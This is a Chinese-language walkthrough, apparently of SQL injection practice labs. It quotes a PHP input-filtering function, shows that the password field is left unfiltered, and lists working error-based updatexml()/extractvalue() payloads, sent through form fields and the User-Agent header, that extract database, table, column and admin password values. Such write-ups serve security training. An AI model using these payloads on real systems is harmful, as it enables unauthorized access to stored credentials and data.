单引号报错型, 注释符可用
显然,这里对uname做了check_input的处理,check_input()函数如下
看看是如何处理的
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
只截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换
做了这么多花里胡哨的过滤,你怎么没对password也搞一次?
针对password爆破:
使用updatexml(),它和extractvaule()是亲兄弟,以下测试version()返回mysql版本:
爆数据库:
' and updatexml(1,concat(0x7e,database(),0x7e),0) --+
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+ &submit=Submit
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit
使用 :uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit
加一层select试试,
uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select password from (select password from users where username=‘admin’))),1) --+ &submit=Submit
最终payload:
uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit
报错型,单引号,user-agent型注入点。
看到user-agent的回显,猜测注入点在user-agnet,可以直接测试,但是我去看看php文件吧:
又看到 insert语句,他把user-agent插入到了数据库,所以可以从这里下手,而且看的出来是单引号型,接下来开始爆破。
抓包修改user-agent为一下payload就可以了。
测试爆库payload
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
同样也可以用updatexml:
' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '